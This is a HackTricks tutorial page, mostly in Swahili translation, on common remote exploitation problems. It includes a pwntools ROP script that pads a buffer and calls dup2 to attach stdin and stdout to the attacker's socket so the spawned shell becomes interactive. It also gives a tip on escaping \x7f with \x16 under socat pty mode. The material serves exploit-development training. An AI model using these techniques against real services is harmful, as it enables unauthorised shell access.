3.7 KiB
Common Exploiting Problems
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
FDs katika Utekelezaji wa Mbali
Wakati wa kutuma exploit kwa seva ya mbali inayopiga system('/bin/sh')
kwa mfano, hii itatekelezwa katika mchakato wa seva, na /bin/sh
itatarajia pembejeo kutoka stdin (FD: 0
) na itachapisha matokeo katika stdout na stderr (FDs 1
na 2
). Hivyo, mshambuliaji hataweza kuingiliana na shell.
Njia moja ya kutatua hii ni kudhani kwamba wakati seva ilianza iliunda FD nambari 3
(kwa kusikiliza) na kwamba kisha, muunganisho wako utaenda kuwa katika FD nambari 4
. Kwa hivyo, inawezekana kutumia syscall dup2
kuiga stdin (FD 0) na stdout (FD 1) katika FD 4 (ile ya muunganisho wa mshambuliaji) ili iwezewezekana kuwasiliana na shell mara itakapotekelezwa.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Kumbuka kwamba socat tayari inahamisha stdin
na stdout
kwa socket. Hata hivyo, hali ya pty
inasababisha wahusika wa DELETE. Hivyo, ikiwa utatuma \x7f
( DELETE
-) it afuta wahusika wa awali wa exploit yako.
Ili kupita hili, mhusika wa kutoroka \x16
lazima aongezwe kabla ya \x7f
yoyote inayotumwa.
Hapa unaweza kupata mfano wa tabia hii.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.